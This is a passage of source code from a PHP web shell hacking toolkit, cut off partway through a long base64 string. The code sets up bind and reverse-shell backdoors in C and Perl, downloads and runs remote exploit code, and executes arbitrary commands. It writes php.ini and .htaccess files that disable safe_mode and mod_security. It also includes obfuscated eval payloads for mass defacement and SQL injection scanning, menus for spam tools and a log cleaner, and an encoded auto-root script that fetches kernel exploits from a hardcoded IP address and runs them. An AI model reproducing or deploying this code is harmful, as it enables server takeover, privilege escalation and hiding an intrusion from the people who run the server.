echo '<font size="3" color="#008080" face="Calibri"> [-]==================[ START ]==================[-] <br><br></font>';
foreach ($users as $user){echo "<font size='3' color='red' face='Calibri'> [+] <a href = '".basename($_SERVER['PHP_SELF'])."?y=/home/$user/public_html/' target='_blank'>/home/$user/public_html/</a></font><br/>";} echo "
<font size='3' color='#008080' face='Calibri'><br>[-]==================[ FINISH ]==================[-] <br></font>
"; echo "
<font size='2' color='#800000' face='Calibri'>[+] Scanners have been completed | Thank you for using this tools [+]</font>
"; echo '</body></html>'; ?><?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'massdeface2')){eval(gzinflate(base64_decode($massdeface2))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner')){eval(gzinflate(base64_decode($sqliscanner))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){eval(gzinflate(base64_decode($upload))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) {
$msg = exe($wcmd);
}
else $msg = "error: file not found $namafile";
}
?>
<div class="menu_pilih">
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php
}
else {
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
$file = $_GET['delete'];
@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
$path = $pwd.$_GET['mkdir'];
@mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?>
<br><center>
<br><br>
<table><tr><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if(isset($_POST['ini']))
{
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
echo "<script>alert('Disable Functions and Safemode Created'); hideAll();</script>";
die();
}
?></tr><tr>
<form >
<select class="inputzbut" name='tamv' onchange="if (this.value) window.open(this.value);">
<option selected="selected" value=""> Tools Creator </option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=wso ";?>">WSO 2.8.1</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=1n73 ";?>">1n73ction v3</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=sabunmassal ";?>">Sabun Massal</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=wk ";?>">WHMCS Killer</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=adminer ";?>">Adminer 4.2.3</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=b374k ";?>">b374k Shell</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=weev ";?>">weevely</option>
</select>
<noscript><input type="submit" value="Submit"></noscript>
</form></tr><tr>
<form >
<select class="inputzbut" name='tamv' onchange="if (this.value) window.open(this.value);">
<option selected="selected" value=""> Tools Spammer </option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=ppmailceker ";?>">Paypal Valid Email Checker</option>
<option value="<?php echo "http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create=promailerv2 ";?>">Pro Mailler v2</option>
</select>
<noscript><input type="submit" value="Submit"></noscript>
</form>
</tr><tr>
<form method="post" action=""> <select class="inputzbut" align="left" name="pilihan" id="pilih"><option value=""selected>Select Your Favorit Tools</option><option value="htasell">htaccess Shell [ .htaccess ]</option><option value="rrot" >Perl Auto Rooting [ r00t.pl ]</option><option value="inisial" >PHP Auto Rooting [ r00t.php ]</option><option value="slc" >Server Log Cleaner [ serverLC.sh ]</option><option value="port" >Python Open Port 13123 [ port.py ]</option><option value="ini">Bypass Disable Function in Apache</option><option value="inis">Bypass Disable Function in Litespeed</option></select>
<input type="submit" name="submites" class="inputzbut" value="Created"></td>
</form>
<?php
$submit = $_POST ['submites'];
if(isset($submit)) {
$pilih = $_POST['pilihan'];
if ( $pilih == 'ini') {
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
$iniphp = '<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"];
?>';
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
file_put_contents("ini.php",$iniphp);
echo "<script>alert('Disable Functions in Apache Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'inis') {
$iniph = '<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"];
?>';
$byph = "safe_mode = Off
disable_functions= ";
$comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
file_put_contents("php.ini",base64_decode($byph));
file_put_contents("ini.php",base64_decode($iniph));
file_put_contents(".htaccess",base64_decode($comp));
echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'inisial') {
$rroter ="IyEvdXNyL2Jpbi9waHAgDQo8P3BocCANCi8qIA0KIyBBdXRvIHJvb3QgMjAxMyBEZXZlbG9wcGVkIGJ5IE1hdXJpdGFuaWEgQXR0YWNrZXINCiMgd3d3Lm1hdXJpdGFuaWEtc2VjLmNvbQ0KIyBodHRwczovL3d3dy5mYWNlYm9vay5jb20vbWF1cml0YW5pZS5mb3JldmVyDQojIDwzIEFub25HaG9zdCA8MyANCiovIA0Kc2V0X3RpbWVfbGltaXQoMCk7IA0Kc3lzdGVtKCJjbGVhciIpOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS0tLS0tfFxuIjsgDQpwcmludCAifFBIUCBBdXRvIFJvb3QgYnkgTWF1cml0YW5pYSBBdHRhY2tlciAgICAgICAgICAgICAgIHxcbiI7IA0KcHJpbnQgInwtLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLS0tLS0tLS0tLS18XG4iOyANCnByaW50ICJ8Q29udGFjdDogZmIuY29tL21hdXJpdGFuaWUuZm9yZXZlciAgICAgICAgICAgICAgICAgfFxuIjsgDQpwcmludCAifFByaXY4IFZlcnNpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiI7IA0KcHJpbnQgInxSb290aW5nOiBMaW51eCBhbmQgRnJlZUJTRCAgICAgICAgICAgICAgICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8PDMgQW5vbkdob3N0IDwzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfFxuIjsgDQpwcmludCAifC0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tLS0tLS0tLS0tLXxcbiI7IA0Kc2xlZXAoNCk7IA0KcHJpbnQgIlxuS2VybmVsIHRvIHZlcmlmeTpcbiI7IA0KcHJpbnQgImxueCBvciBic2Q6ICI7IA0KJGtlcm5lbCA9IGZnZXRzKFNURElOKTsgDQoka2VybmVsID0gdHJpbSgka2VybmVsKTsgDQppZigka2VybmVsID09ICJsbngiKSANCnsgDQpwcmludCAifC0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tPS0tLS0tLS0tLS18XG4iOyANCnByaW50ICJ8UEhQIEF1dG8gUm9vdCBieSBNYXVyaXRhbmlhIEF0dGFja2VyICAgICAgICAgICAgIHxcbiI7IA0KcHJpbnQgInwtLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLT0tLS0tLS0tLS0tfFxuIjsgDQpwcmludCAifFNlbGVjdGVkIGtlcm5lbCA6IHxMaW51eCBhcnF8ICAgICAgICAgICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS0tLXxcbiI7IA0Kc2xlZXAoMik7IA0KcHJpbnQgIlxuWytdIFRlc3RpbmcgbG54IHhwbCdzIHBsZWFzZSB3YWl0LlxuIjsgDQpwcmludCAiW35dIE1lYW53aGlsZSBzbW9rZSBhIGNpZ2FyZXQgWEQgKDpcbiI7IA0Kc2xlZXAoMik7IA0Kc3lzdGVtKCJta2RpciBsbng7Y2QgbG54LyIpOyANCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuM2FsbCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zYWxsIik7IA0Kc3lzdGVtKCIuLzIuNi4zYWxsIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTciKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTciKTsgDQpzeXN0ZW0oIi4vMi42LjE3Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTgiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgiKTsgDQpzeXN0ZW0oIi4vMi42LjE4Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTgtNiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC02Iik7IA0Kc3lzdGVtKCIuLzIuNi4xOC02Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMTgtMjAiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMjAiKTsgDQpzeXN0ZW0oIi4vMi42LjE4LTIwIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzIiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzIiKTsgDQpzeXN0ZW0oIi4vMi42LjMyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzJfaTY4NiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMl9pNjg2Iik7IA0Kc3lzdGVtKCIuLzIuNi4zMl9pNjg2Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzJuaW5lIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjMybmluZSIpOyANCnN5c3RlbSgiLi8yLjYuMzJuaW5lIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzMiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzMiKTsgDQpzeXN0ZW0oIi4vMi42LjMzIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzQiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQiKTsgDQpzeXN0ZW0oIi4vMi42LjM0Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzQtMjAxMSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNC0yMDExIik7IA0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzciKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzciKTsgDQpzeXN0ZW0oIi4vMi42LjM3Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzdyYzIiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzdyYzIiKTsgDQpzeXN0ZW0oIi4vMi42LjM3cmMyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzctcmMyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3LXJjMiIpOyANCnN5c3RlbSgiLi8yLjYuMzctcmMyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzktMjAxMSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zOS0yMDExIik7IA0Kc3lzdGVtKCIuLzIuNi4zOS0yMDExIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYuMzktMjAxMS0yMDEyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM5LTIwMTEtMjAxMiIpOyANCnN5c3RlbSgiLi8yLjYuMzktMjAxMS0yMDEyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yLjYueCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDIuNi54Iik7IA0Kc3lzdGVtKCIuLzIuNi54Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8xNSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDE1Iik7IA0Kc3lzdGVtKCIuLzE1Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC8yMDEwLTEiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyMDEwLTEiKTsgDQpzeXN0ZW0oIi4vMjAxMC0xIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9hYiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGFiIik7IA0Kc3lzdGVtKCIuL2FiIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9jIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgYyIpOyANCnN5c3RlbSgiLi9jIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9lbDVpMzg2Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZWw1aTM4NiIpOyANCnN5c3RlbSgiLi9lbDVpMzg2Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9lbDV4ODYiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBlbDV4ODYiKTsgDQpzeXN0ZW0oIi4vZWw1eDg2Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9lbGZsYmwiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsgDQpzeXN0ZW0oIi4vZWxmbGJsIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHAxIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOyANCnN5c3RlbSgiLi9leHAxIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHAyIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMiIpOyANCnN5c3RlbSgiLi9leHAyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHAzIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMyIpOyANCnN5c3RlbSgiLi9leHAzIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHBsb2l0Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOyANCnN5c3RlbSgiLi9leHBsb2l0Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9leHBsb2l0MiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGV4cGxvaXQyIik7IA0Kc3lzdGVtKCIuL2V4cGxvaXQyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9mcm9vdCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGZyb290Iik7IA0Kc3lzdGVtKCIuL2Zyb290Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9nbGliYyIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGdsaWJjIik7IA0Kc3lzdGVtKCIuL2dsaWJjIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9pc2tvcnBpdHgiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBpc2tvcnBpdHgiKTsgDQpzeXN0ZW0oIi4vaXNrb3JwaXR4Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9qZXNzaWNhMiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IGplc3NpY2EyIik7IA0Kc3lzdGVtKCIuL2plc3NpY2EyIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9wa2V4ZWMiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBwa2V4ZWMiKTsgDQpzeXN0ZW0oIi4vcGtleGVjIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9yZHMtZXhwbG9pdCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IHJkcy1leHBsb2l0Iik7IA0Kc3lzdGVtKCIuL3Jkcy1leHBsb2l0Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC92bXNwbGljZSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlIik7IA0Kc3lzdGVtKCIuL3Ztc3BsaWNlIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC94cGxTVVBFUiIpOyANCnN5c3RlbSgiY2htb2QgNzc3IHhwbFNVUEVSIik7IA0Kc3lzdGVtKCIuL3hwbFNVUEVSIik7IA0Kc2xlZXAoMSk7IA0KcHJpbnQoIlsrXSBhbGwgbG54IHhwbCdzIHRlc3RlZHMhIGV4aXRpbmchXG4iKTsgDQpzeXN0ZW0oImlkIik7IA0KZXhpdCgwKTsgDQp9IA0KZWxzZWlmKCRrZXJuZWwgPT0gImJzZCIpIA0KeyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS18XG4iOyANCnByaW50ICJ8UEhQIEF1dG8gUm9vdCBieSBNYXVyaXRhbmlhIEF0dGFja2VyICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS18XG4iOyANCnByaW50ICJ8U2VsZWN0ZWQga2VybmVsIDogfEJTRC1hcnF8ICAgICAgICAgICAgICAgICAgICB8XG4iOyANCnByaW50ICJ8LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS09LS0tLS0tLS18XG4iOyANCnNsZWVwKDIpOyANCnByaW50ICJcblsrXSBUZXN0aW5nIGJzZCB4cGwncyBwbGVhc2Ugd2FpdC5cbiI7IA0KcHJpbnQgIlt+XSBNZWFud2hpbGUgc21va2UgYSBjaWdhcmV0IFhEICg6XG4iOyANCnNsZWVwKDIpOyANCnN5c3RlbSgibWtkaXIgQlNEO2NkIGJzZC8iKTsgDQoNCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC82LjEtMDkuYyIpOyANCnN5c3RlbSgiZ2NjIC1vIDYuMS0wOSA2LjEtMDkuYyAtbHB0aHJlYWQiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyA2LjEtMDkiKTsgDQpzeXN0ZW0oIi4vNi4xLTA5Iik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNELzYuNCIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDYuNCIpOyANCnN5c3RlbSgiLi82LjQiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvNy4xLTA4LmMiKTsgDQpzeXN0ZW0oImdjYyAtbyA3LjEtMDggNy4xLTA4LmMgIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgNy4xLTA4Iik7IA0Kc3lzdGVtKCIuLzcuMS0wOCIpOyANCnNsZWVwKDEpOyANCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC8yMDEwIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAxMCIpOyANCnN5c3RlbSgiLi8yMDEwIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNEL2Eub3V0Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgYS5vdXQiKTsgDQpzeXN0ZW0oIi4vYS5vdXQiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvY2Via21vdW50Iik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgY2Via21vdW50Iik7IA0Kc3lzdGVtKCIuL2NlYmttb3VudCIpOyANCnNsZWVwKDEpOyANCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC9jdmUtMjAxMC0yNjkzIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgY3ZlLTIwMTAtMjY5MyIpOyANCnN5c3RlbSgiLi9jdmUtMjAxMC0yNjkzIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNELzYuMS0wOS5jIik7IA0Kc3lzdGVtKCJnY2MgLW8gNi4xLTA5IDYuMS0wOS5jIC1scHRocmVhZCIpOyANCnN